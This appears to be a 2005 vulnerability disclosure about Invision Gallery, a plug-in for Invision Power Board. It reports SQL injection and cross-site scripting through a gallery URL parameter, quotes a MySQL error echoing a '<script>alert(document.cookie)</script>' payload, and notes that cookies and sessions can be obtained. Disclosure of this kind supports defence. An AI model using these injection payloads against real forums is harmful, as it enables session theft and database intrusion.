http://www.securitytracker.com/alerts/2005/May/1013894.html
http://www.invisiongallery.com
about:Invision Gallery is a fully featured, powerful gallery system that is easy and fun to use! It plugs right into your existing Invision Power Board to create a seamless browsing experience for the users of your forum. We've taken many of the most popular feature requests from our customers and integrated them into this product.
Target URL:http://xxxxxxxx.com/v2/?act=module&module=gallery
a couple of issues apply:
by adding script injection inputs like so
http://xxxxxxxxx.com/v2/index.php?act=modu...ne_key=30&cat=1
will cause an injection error messages
QUOTE
mySQL query error: SELECT i.file_type, i.masked_file_name, i.caption, i.id, i.directory, m.name, m.id AS mid
FROM ibf_gallery_images i, ibf_members m
WHERE album_id=0 AND m.id=i.member_id
ORDER BY date DESC
LIMIT '><script>alert(document.cookie)</script>, 1
FROM ibf_gallery_images i, ibf_members m
WHERE album_id=0 AND m.id=i.member_id
ORDER BY date DESC
LIMIT '><script>alert(document.cookie)</script>, 1
with the above info you can then navigate the table... using the SELECT FROM WHERE ORDER LIMIT.... to add advanced sql injection methods
also cookie and session can be obtained with :
http://xxxxxxxxxxx.com/v2/index.php?act=mo...</script>
due to NO previous response to other issues
http://www.securitytracker.com/id?1013863
Vendor NOT informed
screenshots:
